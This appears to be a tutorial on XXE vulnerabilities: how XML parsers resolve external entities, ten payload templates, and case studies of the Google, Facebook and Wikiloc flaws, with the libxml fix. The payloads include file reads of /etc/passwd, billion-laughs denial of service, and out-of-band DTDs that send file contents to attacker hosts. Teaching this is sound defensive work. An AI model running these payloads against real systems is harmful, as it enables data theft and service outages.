XML External Entity (XXE) Vulnerability: Detection, Exploitation, and Real-World Examples

XML External Entity (XXE) Vulnerability: Detection, Exploitation, and Real-World Examples

The XML External Entity (XXE) vulnerability is a major security concern that stems from the processing of XML documents by weakly configured parsers. It is an injection attack that exploits the features of Document Type Definition (DTD) and external entities within XML, potentially leading to serious outcomes like data disclosure or Server-Side Request Forgery (SSRF).

The Foundations of XML and the XXE Threat

Extensible Markup Language (XML) is a language that allows users to create a set of rules to define documents in a human- and machine-readable format. Its most important feature is its simplicity and flexibility — you don’t need to follow predefined rules, you define the rules within the document.

How XML Works

While XML documents may look similar to HTML documents because both have tags, their function is fundamentally different. HTML follows a fixed set of rules defined by the language. In the case of XML, the tags, values, and structure are defined by the document itself, as shown in the example below:

<?xml version="1.0" encoding="UTF-8"?>
<animals>
  <fish>
    <name>Discus</name>
    <location>Brasil</location>
    <danger_extinction="1">Shot the web</danger_extinction>
  </fish>
</animals>

The application consuming this document immediately knows the meaning and structure of the <fish>, <name>, and <location> tags because the document dictates the structure. This is why applications such as MS Office use XML (specifically Office Open XML, or OOXML) to manage their documents in the background.

The other important feature of XML is its use for sending and receiving information in web services and APIs (Application Programming Interfaces). A client can send an HTTP request containing an XML document, which is then parsed (analyzed and interpreted) by a server.

The Role of Document Type Definition (DTD)

The rules for a valid XML request are defined in a Document Type Definition (DTD) document.

The danger lies in entities, which are variables used to represent data or references to resources. The SYSTEM keyword in an entity definition allows for references to external resources, creating an External Entity.

A DTD containing an external entity reference can be seen in this example:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE Animal [
  <!ELEMENT Fish (Name, Species, Origin, Data)>
  <!ELEMENT Name (#PCDATA)>
  <!ELEMENT Species (#PCDATA)>
  <!ELEMENT Origin (#PCDATA)>
  <!ATTLIST Danger_Extinction optional CDATA "0">
  <!ELEMENT Data ANY>
  <!ENTITY url SYSTEM "website.txt">
]>
<animal>
<fish>
<name>Discus</name>

By changing this DTD, an attacker can force the application to understand the documents in a different, malicious way.

Detecting and Exploiting an XXE Vulnerability

An XXE attack occurs when an attacker manipulates the XML input to include a malicious external entity reference, and the weakly configured XML parser processes it.

Detection

The first step in detecting an XXE vulnerability is to identify endpoints that accept XML as input. This might be in the request body of a POST request with the Content-Type: text/xml header, or in less obvious places, such as file upload functionalities (e.g., DOCX, SVG files, which contain embedded XML).

Once a potential XML endpoint is found, a simple test is performed by injecting an external entity that references a known local file.

Exploitation

A successful XXE attack can retrieve an arbitrary file from the server’s filesystem by modifying the submitted XML in two key ways:

  1. Introduce a DTD element that defines an external entity pointing to a sensitive file path (e.g., /etc/passwd).
  2. Edit an XML data value in the document to make use of the defined external entity, ensuring the application’s response will contain the file’s contents.

Example of File Disclosure Payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ 
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>
  <name>&xxe;</name>
</foo>

When a vulnerable parser processes this, the &xxe; reference is replaced by the contents of the /etc/passwd file, which is then included in the response sent back to the attacker.

Exploitation is not limited to file disclosure; it also includes:

Basic XXE Templates

1. Simple Entity Replacement

<?xml version="1.0" ?>
<!DOCTYPE replace [<!ENTITY example "Doe"> ]>
<userInfo>
  <firstName>Juan</firstName>
  <lastName>&example;</lastName>
</userInfo>

2. Classic File Reading (Linux/Unix)

<?xml version="1.0"?>
<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<data>&file;</data>

3. Classic File Reading (Windows)

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/boot.ini">]>
<foo>&xxe;</foo>

Advanced XXE Techniques

4. Base64 Encoded XXE

<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]>
<foo/>

5. PHP Filter Wrapper

<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
<contacts>
  <contact>
    <name>Jean &xxe; Dupont</name>
    <phone>00 11 22 33 44</phone>
  </contact>
</contacts>

Denial of Service (DoS) Attacks

6. Billion Laughs Attack

<!DOCTYPE data [
<!ENTITY a0 "dos">
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>

Out-of-Band (OOB) XXE Attacks

7. Basic Blind XXE

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "file:///etc/passwd">
<!ENTITY callhome SYSTEM "http://www.malicious.com/?%xxe;">
]>
<foo>&callhome;</foo>

8. OOB with External DTD

Main XML:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data SYSTEM "http://publicServer.com/parameterEntity_oob.dtd">
<data>&send;</data>

External DTD (parameterEntity_oob.dtd):

<!ENTITY % file SYSTEM "file:///sys/power/image_size">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://publicServer.com/?%file;'>">
%all;

9. OOB with PHP Filter

Main XML:

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://127.0.0.1/dtd.xml">
%sp;
%param1;
]>
<r>&exfil;</r>

External DTD (dtd.xml):

<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://127.0.0.1/dtd.xml?%data;'>">

Special Cases

10. XXE in SOAP

<soap:Body>
  <foo>
    <![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]>
  </foo>
</soap:Body>

Key Points for Testing:

Security Implications:

Important: Only use these templates in authorized penetration testing environments with proper permission.

How the XXE Vulnerability is Produced

The XML External Entity (XXE) vulnerability is a security flaw that results from a configuration error in how a server-side application processes user-supplied XML data. It occurs when an application parses a document and follows instructions contained within it, even if those instructions are malicious.

The Mechanism of XXE Production

The vulnerability is produced in a chain of events relying on XML’s standard features, which are often left enabled by default in XML parsers:

1. User-Supplied XML Input

The core requirement is an application that allows users to upload or submit XML data to the server. This input is sent by the client to the server using a normal request to be processed.

In a standard XML transaction, the request and subsequent response use personalized, self-defined tags (unlike HTML, which uses a fixed set of predefined tags). The structure these personalized tags follow is defined by a Document Type Definition (DTD), which helps determine if the document is valid for the specific application.

2. Entity Definition and Replacement

XML uses entities to define variables or placeholders. These are defined within the DTD using the following structure:

<!DOCTYPE [
  <!ENTITY entity_name "definition_value">
]>

When the XML parser reads the document, it replaces the entity reference (e.g., &entity_name;) with the value defined in the entity.

3. The Injection of an External Entity

The source of the vulnerability is that XML allows for the definition of external entities. To add these external references, an attacker uses a URL format with the SYSTEM keyword to instruct the XML parser to fetch content from an outside source.

An example of a malicious external entity injection is:

<!DOCTYPE cosa [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>cosa

Just by reading this reference to /etc/passwd, one can infer the danger: the parser may process this reference without validation. Since the URL format can use protocols like file://, http://, or ftp://, the parser attempts to retrieve the contents of the specified resource. Any kind of file (like configuration files or credentials) could be exposed, and sensitive information could be leaked to the attacker who receives the server’s response.

The XXE vulnerability is produced when the application’s XML parser is configured to:

Potential Attacks Using XXE

Once an XXE vulnerability is established, a malicious user can perform several high-impact attacks:

An example of an XML bomb payload looks like this:

<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
  <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
  <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
  <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
  <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
  <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

When processed, this simple definition expands into billions of “lol” strings, leading to resource exhaustion.

XXE vulnerabilities have been found in major platforms like Google and Facebook, demonstrating that even large organizations can have misconfigured XML parsers. These real-world examples illustrate the critical impact of XXE, which often leads to Local File Inclusion (LFI) and data exfiltration.

Real-World XXE Exploitation Examples

1. Read Access to Google

On April 11, 2014, researchers from the Detectify security team reported a critical XXE vulnerability in a Google application, ultimately granting them read access to production server files.

The Vulnerability Vector

The researchers focused on finding vulnerabilities in old, proprietary, or alpha-stage Google software, eventually putting their attention on the Google Toolbar button gallery. This platform allowed users to personalize their search toolbar with custom buttons.

The Impact

A successful XXE attack allowed the researchers to retrieve the content of the /etc/passwd file, which typically contains user account information, including password hashes. If these hashes were successfully cracked (via brute force or rainbow table attacks), an attacker could gain unauthorized access to the server. The key lesson learned was that applications that change their response based on XML input are prime candidates for XXE exploitation.

2. A Facebook XXE with a Word Document

On December 29, 2014, security researcher Mohamed Ramadan discovered an XXE vulnerability on the Facebook Careers page, specifically in the functionality that processed document uploads.

The Vulnerability Vector

The attack exploited the fact that Office documents, like those with the .docx extension, are fundamentally ZIP archives containing XML documents with a specific structure (Office Open XML).

The DTD Logic

The malicious DTD file, hosted on the attacker’s server, used parameter entities to read the sensitive file and then include its content within a new HTTP request sent back to the attacker’s server:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://[Attacker_IP]/log?%file;'>">
%all;

The Mitigation

Facebook resolved the issue by modifying the way it called the XML parsing function, specifically by securely configuring the libxml_disable_entity_loader() method in the underlying PHP library to prevent the processing of external entities. The fix essentially removed the attacker’s ability to define and resolve external entities:

Vulnerable configuration:

libxml_disable_entity_loader(false); // Allows external entities
// ... code that processes XML ...

Secure configuration:

libxml_disable_entity_loader(true); // Disables external entity loading
// ... code that processes XML ...

By disabling the entity loader, the application ensures that references like &send; or &xxe; are not resolved from external resources, thus neutralizing the XXE vulnerability.

Wikiloc XXE Vulnerability

The Wikiloc XXE vulnerability, reported by David Sopas on January 11, 2016, provides an excellent example of how to detect and exploit an XXE flaw using Out-of-Band (OOB) techniques, particularly when dealing with file upload functionality.

The Vulnerability and Detection Method

Wikiloc is an application for sharing outdoor trails, which involves processing geographic data files, most commonly in the GPX (GPS Exchange Format), a standard based on XML. The vulnerability was discovered in the file upload feature.

1. Analyze the Target Structure

The researcher’s first step was reconnaissance to understand the expected XML format:

He downloaded a valid .gpx file from the application. Since GPX is XML-based, this provided the template for the required tags and document structure.

Key Tip: By using a pre-existing, valid file, the attacker doesn’t need to define the entire structure, which often simplifies the process and avoids initial validation errors.

2. Initial Out-of-Band (OOB) Test

To confirm that the server’s XML parser was resolving external entities, David Sopas modified the downloaded GPX file with a small, non-harmful payload designed to trigger a network request to a server he controlled.

Initial payload modification: he injected a basic external entity definition pointing to his monitoring server, referencing his own IP within the GPX file’s existing structure.

Confirmation (OOB response): after uploading the modified file, he checked the logs on his monitoring server and received a request, confirming two things:

Key Difference from Facebook XXE: for this initial test, David Sopas did not need an external DTD file on his server. He defined the simple external entity (&xxe;) directly within the modified GPX file (the in-band DTD), which was enough to trigger the network request.

The Exploitation (Data Exfiltration)

Once the vulnerability was confirmed, the goal shifted from detection to exploitation — specifically, Out-of-Band (OOB) data exfiltration of a sensitive file like /etc/passwd.

1. Modifying the XML and Introducing an External DTD

Since a simple local file read might not display the file content directly in the application’s response (a Blind XXE scenario), the OOB technique is required.

The uploaded XML file was modified to reference a malicious DTD file hosted on the attacker’s server:

<!DOCTYPE gpx SYSTEM "http://[Attacker_IP]/xxe_payload.dtd">
<gpx ...>2015-10-29T12:53:09Z
  &send; (...)

2. The Malicious DTD File

The file stored on the attacker’s server (xxe_payload.dtd) was designed to recursively read the local file and include its content in a final HTTP request:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://[Attacker_IP]/log?data=%file;'>">
%all;

This case study is a valuable reminder that downloading a valid XML template and minimally modifying it for an OOB check is often the easiest and fastest way to confirm an XXE vulnerability.

Exit mobile version